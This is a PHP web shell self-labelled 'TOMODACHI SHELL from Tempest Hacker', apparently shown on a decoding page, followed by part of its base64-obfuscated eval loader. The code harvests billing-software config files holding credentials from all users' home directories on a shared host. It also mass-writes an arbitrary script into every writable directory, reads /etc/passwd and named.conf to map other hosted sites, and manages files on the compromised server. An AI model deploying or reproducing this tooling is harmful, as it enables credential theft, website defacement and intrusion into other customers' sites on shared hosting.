                        "/home/$user_con/public_html/Clientarea/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/clientarea/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/SUPPORT/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Support/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/support/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BILLING/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Billing/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/billing/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BUY/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Buy/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/buy/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/MANAGE/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Manage/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/manage/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CLIENTSUPPORT/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/ClientSupport/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Clientsupport/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/clientsupport/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CHECKOUT/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Checkout/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/checkout/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BILLINGS/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Billings/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/billings/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BASKET/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Basket/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/basket/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/SECURE/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Secure/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/secure/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/SALES/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Sales/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/sales/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BILL/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Bill/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/bill/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/PURCHASE/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Purchase/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/purchase/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/ACCOUNT/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Account/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/account/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/USER/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/User/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/user/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/CLIENTS/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Clients/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/clients/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/BILLINGS/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/Billings/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/billings/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/MY/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/My/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/my/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/secure/whm/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/secure/whmcs/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/panel/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/clientes/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/cliente/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/support/order/submitticket.php" => \'WHMCS\',
                        "/home/$user_con/public_html/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/boxbilling/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/box/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/host/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/Host/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/supportes/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/support/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/hosting/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/cart/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/order/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/client/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/clients/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/cliente/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/clientes/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/billing/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/billings/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/my/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/secure/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/support/order/bb-config.php" => \'BoxBilling\',
                        "/home/$user_con/public_html/includes/dist-configure.php" => \'Zencart\',
                        "/home/$user_con/public_html/zencart/includes/dist-configure.php" => \'Zencart\',
                        "/home/$user_con/public_html/products/includes/dist-configure.php" => \'Zencart\',
                        "/home/$user_con/public_html/cart/includes/dist-configure.php" => \'Zencart\',
                        "/home/$user_con/public_html/shop/includes/dist-configure.php" => \'Zencart\',
                        "/home/$user_con/public_html/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/hostbills/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/host/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/Host/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/supportes/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/support/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/hosting/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/cart/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/order/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/client/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/clients/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/cliente/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/clientes/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/billing/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/billings/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/my/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/secure/includes/iso4217.php" => \'Hostbills\',
                        "/home/$user_con/public_html/support/order/includes/iso4217.php" => \'Hostbills\',
                    ];
                    foreach ($grab_config as $config => $nama_config) {
                        $ambil_config = file_get_contents($config);
                        if ($ambil_config == \'\') {
                        } else {
                            $file_config = fopen("tomodachi_config/$user_con-$nama_config.txt", \'w\');
                            fwrite($file_config, $ambil_config);
                        }
                    }
                }
            }
        }
    }
    echo "<center><a href=\'?path=$lokasi/tomodachi_config\'><font color=lime>Done</font></a></center>";
    exit;

} elseif ($_REQUEST[\'mass\'] == "tomodachi") {
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.\'/\'.$namafile;
				if($dirb === \'.\') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === \'..\') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "$lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	function sabun_biasa($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.\'/\'.$namafile;
				if($dirb === \'.\') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === \'..\') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "$dirb/$namafile<br>";
							file_put_contents($lokasi, $isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST[\'start\']) {
		if($_POST[\'tipe_sabun\'] == \'mahal\') {
			echo "<div style=\'margin: 5px auto; padding: 5px\'>";
			sabun_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
			echo "</div>";
		} elseif($_POST[\'tipe_sabun\'] == \'murah\') {
			echo "<div style=\'margin: 5px auto; padding: 5px\'>";
			sabun_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);
			echo "</div>";
		}
} else {
	echo "<center>";
	echo "<form method=\'post\'>
	<font style=\'text-decoration: ;\'>Tipe Sabun:</font><br>
	<input type=\'radio\' name=\'tipe_sabun\' value=\'murah\' checked>Biasa<input type=\'radio\' name=\'tipe_sabun\' value=\'mahal\'>Massal<br><br>
	<font style=\'text-decoration: ;\'>Directory:</font><br>
	<input type=\'text\' name=\'d_dir\' value=\'$lokasi\' style=\'width: 450px;height: 20px;\'><br>
	<font style=\'text-decoration: ;\'>Nama File:</font><br>
	<input type=\'text\' name=\'d_file\' value=\'\' style=\'width: 450px;height: 20px;\' placeholder=\'isi nickname\'><br>
	<font style=\'text-decoration: ;\'>Isi File:</font><br>
	<textarea name=\'script\' style=\'width: 600px; height: 250px;\' placeholder=\'isi script\'></textarea><br>
	<input type=\'submit\' class=\'button\' name=\'start\' value=\'Sikat!!\' style=\'width: 450px;\'>
	</form></center><br>";
}
exit;
} elseif($_GET[\'jump\'] == \'tomodachi\') {
	$i = 0;
	echo "<center>Jumping server<center><br>	<div class=\'margin: 5px auto;\'>";
	if(preg_match("/hsphere/", $dir)) {
		$urls = explode("
", $_POST[\'url\']);
		if(isset($_POST[\'jump\'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace(array("http://","www."), "", strtolower($url));
				$etc = "/etc/passwd";
				$f = fopen($etc,"r");
				while($gets = fgets($f)) {
					$pecah = explode(":", $gets);
					$user = $pecah[0];
					$dir_user = "/hsphere/local/home/$user";
					if(is_dir($dir_user) === true) {
						$url_user = $dir_user."/".$url;
						if(is_readable($url_user)) {
							$i++;
							$jrw = "[<font color=lime>R</font>] <a href=\'?path=$url_user\'><font color=gold>$url_user</font></a>";
							if(is_writable($url_user)) {
								$jrw = "[<font color=lime>RW</font>] <a href=\'?path=$url_user\'><font color=gold>$url_user</font></a>";
							}
							echo $jrw."<br>";
						}
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo \'<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">\';
			$fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
			while($getss = fgets($fp)) {
				echo $getss;
			}
			echo  \'</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>\';
		}
	} elseif(preg_match("/vhosts|vhost/", $dir)) {
		preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
		$urls = explode("
", $_POST[\'url\']);
		if(isset($_POST[\'jump\'])) {
			echo "<pre>";
			foreach($urls as $url) {
				$url = str_replace("www.", "", $url);
				$web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
				if(is_dir($web_vh) === true) {
					if(is_readable($web_vh)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href=\'?path=$web_vh\'><font color=gold>$web_vh</font></a>";
						if(is_writable($web_vh)) {
							$jrw = "[<font color=lime>RW</font>] <a href=\'?path=$web_vh\'><font color=gold>$web_vh</font></a>";
						}
						echo $jrw."<br>";
					}
				}
			}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
		} else {
			echo \'<center>
				  <form method="post">
				  List Domains: <br>
				  <textarea name="url" style="width: 500px; height: 250px;">\';
				  bing("ip:$ip");
			echo  \'</textarea><br>
				  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
				  </form></center>\';
		}
	} else {
		echo "<pre>";
		$etc = fopen("/etc/passwd", "r") or die("<center><font color=red>Can\'t read /etc/passwd</font></center>");
		while($passwd = fgets($etc)) {
			if($passwd == \'\' || !$etc) {
				echo "<center><font color=red>Can\'t read /etc/passwd</font></center>";
			} else {
				preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);
				foreach($user_jumping[1] as $user_idx_jump) {
					$user_jumping_dir = "/home/$user_idx_jump/public_html";
					if(is_readable($user_jumping_dir)) {
						$i++;
						$jrw = "[<font color=lime>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";
						if(is_writable($user_jumping_dir)) {
							$jrw = "[<font color=lime>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";
						}
						echo $jrw;
						if(function_exists(\'posix_getpwuid\')) {
							$domain_jump = file_get_contents("/etc/named.conf");	
							if($domain_jump == \'\') {
								echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
							} else {
								preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
								foreach($domains_jump[1] as $dj) {
									$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
									$user_jumping_url = $user_jumping_url[\'name\'];
									if($user_jumping_url == $user_idx_jump) {
										echo " => ( <u>$dj</u> )<br>";
										break;
									}
								}
							}
						} else {
							echo "<br>";
						}
					}
				}
			}
		}
		if($i == 0) { 
		} else {
			echo "<br>Total ada ".$i." Kamar di ".$ip;
		}
		echo "</pre>";
	}
	
	echo "</div>";}
	elseif ($_REQUEST[\'about\'] == "tomodachi") {
		echo "<hr><center>About Me<br><br>";
		echo "TOMODACHI SHELL from Tempest Hacker";
}

	elseif ($_REQUEST[\'buatfile\'] == "tomodachi") {
		echo "<center>
    <form method=\'POST\'>
        <input type=\'text\' class=\'form-control\' value=\'$lokasi/filekamu.php\' style=\'width: 400px;\' name=\'nama_file\' autocomplete=\'off\' placeholder=\'Nama File...\'><br><br/>
        <textarea name=\'isi_file\' class=\'form-control\' rows=\'15\' cols=\'70\' placeholder=\'Isi File...\'></textarea><br/>
        <button type=\'sumbit\' class=\'button\' name=\'bikin\'>Bikin!!</button><br><br/>
    </form></center>";

    if (isset($_POST[\'bikin\'])) {
        $nama_file = $_POST[\'nama_file\'];
        $isi_file = $_POST[\'isi_file\'];
        $handle = fopen("$nama_file", \'w\');

        if (fwrite($handle, $isi_file)) {
            echo \'<center>File Berhasil dibuat !!&nbsp;<font color="gold"><i>\'.$nama_file.\'</i></font><br><br></center>\';
        } else {
            echo \'<script>alert("File Gagal Dibuat");</script>\';
        }
    }
}
elseif ($_REQUEST[\'info\'] == "tomodachi") {
	echo "<br><hr>";
	echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER[\'REMOTE_ADDR\']."</font><br>";
	echo "Web Server : <font color=\'gold\'>".$_SERVER[\'SERVER_SOFTWARE\']."</font><br>";
	echo "System : <font color=\'gold\'>".php_uname()."</font><br>";
	echo "User : <font color=\'gold\'>".@get_current_user()."&nbsp;</font>( <font color=\'gold\'>".@getmyuid()."</font>)<br>";
	echo "PHP Version : <font color=\'gold\'>".@phpversion()."</font><br>";
	echo "Disable Function : ".$disf."</font><br>";
	echo "MySQL : ";
	echo "<hr><br>";}


if (!is_readable($lokasi)) {
    die("<center>This directory is unreadable :(</center>");
}

echo \'<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>\';

foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == \'.\') continue;
    echo "<tr>
    <td><i class=\'fa fa-folder\' style=\'color: #ffe9a2\'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
    <td><center>--</center></td>
    <td><center>".filedate($lokasi."/".$dir)."</center></td>
    <td>".owner($lokasi."/".$dir)."</td>
    <td><center>";
    if(is_writable($lokasi."/".$dir)) echo \'<font color="green">\';
    elseif(!is_readable($lokasi."/".$dir)) echo \'<font color="red">\';
    echo statusnya($lokasi."/".$dir);
    if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo \'</font>\';

    echo "</center></td>
    <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
    <select name=\"pilih\">
    <option value=\"\"></option>
    <option value=\"hapus\">Delete</option>
    <option value=\"gantinama\">Rename</option>
    </select>
    <input type=\"hidden\" name=\"type\" value=\"dir\">
    <input type=\"hidden\" name=\"name\" value=\"$dir\">
    <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
    <input type=\"submit\" class=\"gas\" value=\">\" />
    </form></center></td>
    </tr>";
}

echo \'<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>\';
foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).\' MB\';
} else {
    $size = $size.\' KB\';
}

echo "<tr>
<td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>".filedate($lokasi."/".$file)."</center></td>
<td>".owner($lokasi."/".$file)."</td>
<td><center>";
if(is_writable("$lokasi/$file")) echo \'<font color="green">\';
elseif(!is_readable("$lokasi/$file")) echo \'<font color="red">\';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo \'</font>\';
echo "</center></td><td><center>
<form method=\"post\" action=\"?pilihan&path=$lokasi\">
<select name=\"pilih\">table
<option value=\"\">-Select-</option>
<option value=\"hapus\">Delete</option>
<option value=\"dunlut\">Download</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>";
if (class_exists("ZipArchive")) {
    echo "<option value=\"unzip\">Unzip</option>";
}
echo "</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />
</form></center></td>
</tr>";
}
echo \'</tr></td></table></table>\';
author();

function statusnya($file){
$izin = substr(sprintf(\'%o\', fileperms($file)), -4);
return $izin;
}
?>	
</body>
</html>'

Did this file decode correctly?

Original Code

<?=eval("?>".base64_decode("PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCiAgICA8dGl0bGU+REFTSEJPQVJEIEFETUlOIFRPTU9EQUNISTwvdGl0bGU+DQogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJUT01PREFDSEkiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJUT01PREFDSEkiIC8+DQogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IkRhc2hib2FyZCI+DQogICAgPG1ldGEgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIiBjb250ZW50PSJEYXNoYm9hcmQgVG9tb2RhY2hpIj4NCiAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6aW1hZ2UiIGNvbnRlbnQ9Imh0dHBzOi8vd3d3LnVwbG9hZC5lZS9pbWFnZS8xNTk0MDU0NS9sb2dvaGFjay5qcGciPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCI+DQogICAgPG1ldGEgbmFtZT0iZ29vZ2xlYm90IiBjb250ZW50PSJub2luZGV4Ij4NCjwvaGVhZD4NCjxsaW5rIGhyZWY9IiIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8Ym9keSBiZ2NvbG9yPSIjMDkyNzU2IiB0ZXh0PSIjZmZmZmZmIj4NCjxzdHlsZT4NCiAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PURvc2lzJyk7DQogICAgQGltcG9ydCB1cmwoJ2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1CdW5nZWUnKTsNCmJvZHkgew0KICAgIGZvbnQtZmFtaWx5OiAiRG9zaXMiLCBjdXJzaXZlOw0KICAgIHRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQoNCmJvZHk6Oi13ZWJraXQtc2Nyb2xsYmFyIHsNCiAgd2lkdGg6IDEycHg7DQp9DQoNCmJvZHk6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHsNCiAgYmFja2dyb3VuZDogIzc4NkY2RjsNCn0NCg0KYm9keTo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KICBib3JkZXI6IDNweCBzb2xpZCBncmF5Ow0KfQ0KDQojY29udGVudCB0cjpob3ZlciB7DQogICAgYmFja2dyb3VuZC1jb2xvcjogIzgwODRFQzsNCiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjsNCn0NCg0KI2NvbnRlbnQgLmZpcnN0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNEM1M0YwOw0KfQ0KDQojY29udGVudCAuZmlyc3Q6aG92ZXIgew0KICAgIGJhY2tncm91bmQtY29sb3I6ICM4MDg0RUM7DQogICAgdGV4dC1zaGFkb3c6MHB4IDBweCAxcHggIzc1NzU3NTsNCn0NCg0KdGFibGUgew0KICAgIGJvcmRlcjogMnB4ICM0QzUzRjAgZG90dGVkOw0KICAgIHRhYmxlLWxheW91dDogZml4ZWQ7DQogICAgd29yZC1icmVhazogYnJlYWstYWxsOw0KfQ0KaW5wdXQgeyANCgltYXJnaW4tYm90dG9tOiA0cHg7IA0KCWJhY2tncm91bmQ6IHJnYmEoMCwwLDAsMC4zKTsNCglib3JkZXI6IG5vbmU7DQoJb3V0bGluZTogbm9uZTsNCglwYWRkaW5nOiA1cHg7DQoJZm9udC1zaXplOiAxNXB4Ow0KCWNvbG9yOiAjZmZmOw0KCXRleHQtc2hhZG93OiAxcHggMXB4IDFweCByZ2JhKDAsMCwwLDAuMyk7DQoJYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLDAsMCwwLjMpOw0KCWJvcmRlci1yYWRpdXM6IDE0cHg7DQoJYm94LXNoYWRvdzogaW5zZXQgMCAtNXB4IDQ1cHggcmdiYSgxMDAsMTAwLDEwMCwwLjIpLCAwIDFweCAxcHggcmdiYSgyNTUsMjU1LDI1NSwwLjIpOw0KCS13ZWJraXQtdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuNXMgZWFzZTsNCgktbW96LXRyYW5zaXRpb246IGJveC1zaGFkb3cgLjVzIGVhc2U7DQoJLW8tdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuNXMgZWFzZTsNCgktbXMtdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuNXMgZWFzZTsNCgl0cmFuc2l0aW9uOiBib3gtc2hhZG93IC41cyBlYXNlOw0KfQ0KDQp0ZXh0YXJlYSB7DQogICAgbWF4LXdpZHRoOiAxMDAlOw0KICAgIG1heC1oZWlnaHQ6IDEwMCU7DQogICAgcmVzaXplOiBub25lOw0KICAgIG91dGxpbmU6IG5vbmU7DQogICAgb3ZlcmZsb3c6IGF1dG87DQoJY29sb3I6ICNmZmY7DQoJdGV4dC1zaGFkb3c6IDFweCAxcHggMXB4IHJnYmEoMCwwLDAsMC4zKTsNCglib3JkZXI6IDFweCBzb2xpZCByZ2JhKDAsMCwwLDAuMyk7DQoJYm9yZGVyLXJhZGl1czogNHB4Ow0KCWJveC1zaGFkb3c6IGluc2V0IDAgLTVweCA0NXB4IHJnYmEoMTAwLDEwMCwxMDAsMC4yKSwgMCAxcHggMXB4IHJnYmEoMjU1LDI1NSwyNTUsMC4yKTsNCgktd2Via2l0LXRyYW5zaXRpb246IGJveC1zaGFkb3cgLjVzIGVhc2U7DQoJLW1vei10cmFuc2l0aW9uOiBib3gtc2hhZG93IC41cyBlYXNlOw0KCS1vLXRyYW5zaXRpb246IGJveC1zaGFkb3cgLjVzIGVhc2U7DQoJLW1zLXRyYW5zaXRpb246IGJveC1zaGFkb3cgLjVzIGVhc2U7DQoJdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuNXMgZWFzZTsNCgliYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuMyk7DQp9DQoNCnRleHRhcmVhOjotd2Via2l0LXNjcm9sbGJhciB7DQogIHdpZHRoOiAxMnB4Ow0KfQ0KDQp0ZXh0YXJlYTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgew0KICBiYWNrZ3JvdW5kOiAjMDAwMDAwOw0KfQ0KDQp0ZXh0YXJlYTo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KICBib3JkZXI6IDNweCBzb2xpZCBibGFjazsNCn0NCg0KYSB7DQogICAgY29sb3I6ICNmZmZmZmY7DQogICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KDQphOmhvdmVyIHsNCiAgICBjb2xvcjogIzc1N0I4OTsNCiAgICB0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggIzRBN0JFQzsNCn0NCg0KaW5wdXQsc2VsZWN0LHRleHRhcmVhIHsNCiAgICBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOw0KICAgIC1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KICAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQogICAgYm9yZGVyLXJhZGl1czo1cHg7DQp9DQoNCi5nYXMgew0KICAgIGJhY2tncm91bmQtY29sb3I6ICM0QzUzRjA7DQogICAgY29sb3I6ICNmZmZmZmY7DQogICAgY3Vyc29yOiBwb2ludGVyOw0KfQ0KDQpzZWxlY3Qgew0KICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50Ow0KICAgIGNvbG9yOiAjZmZmZmZmOw0KfQ0KDQpzZWxlY3Q6YWZ0ZXIgew0KICAgIGN1cnNvcjogcG9pbnRlcjsNCn0NCg0KLmxpbmthIHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsNCiAgICBjb2xvcjogI2ZmZmZmZjsNCn0NCg0KLnVwIHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDsNCiAgICBjb2xvcjogI2ZmZjsNCn0NCg0Kb3B0aW9uIHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMWYxZjFmOw0KfQ0KDQo6Oi13ZWJraXQtZmlsZS11cGxvYWQtYnV0dG9uIHsNCiAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQogIGNvbG9yOiAjZmZmOw0KICBib3JkZXItY29sb3I6ICNmZmY7DQogIGN1cnNvcjogcG9pbnRlcjsNCn0NCi5idXR0b24gew0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCmJvcmRlcjogNXB4IHNvbGlkICMwMDA7DQpjb2xvcjogI2ZmZjsNCmxpbmUtaGVpZ2h0OiAyMHB4Ow0KDQp9LmJ1dHRvbjpob3ZlciB7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOw0KYm9yZGVyLWNvbG9yOiAjNTliMWViOw0KY29sb3I6ICM1OWIxZWI7DQp9DQpib2R5LCBhLCBhOmxpbmt7Y3Vyc29yOnVybChodHRwOi8vNC5icC5ibG9nc3BvdC5jb20vLWhBRjd0UFVubUVFL1R3R1IzbFJIMEVJL0FBQUFBQUFBQXM4LzZwa2kyMmhjM05FL3MxNjAwL2Fzcy5wbmcpLCANCglkZWZhdWx0Ow0KfSANCglhOmhvdmVyIHsNCgljdXJzb3I6dXJsKGh0dHA6Ly8zLmJwLmJsb2dzcG90LmNvbS8tYlJpa2dxZVp4MFEvVHdHUjRNVUVDN0kvQUFBQUFBQUFBdEEvaXNKbVMwcjM1UXcvczE2MDAvcG9pbnRlci5wbmcpLA0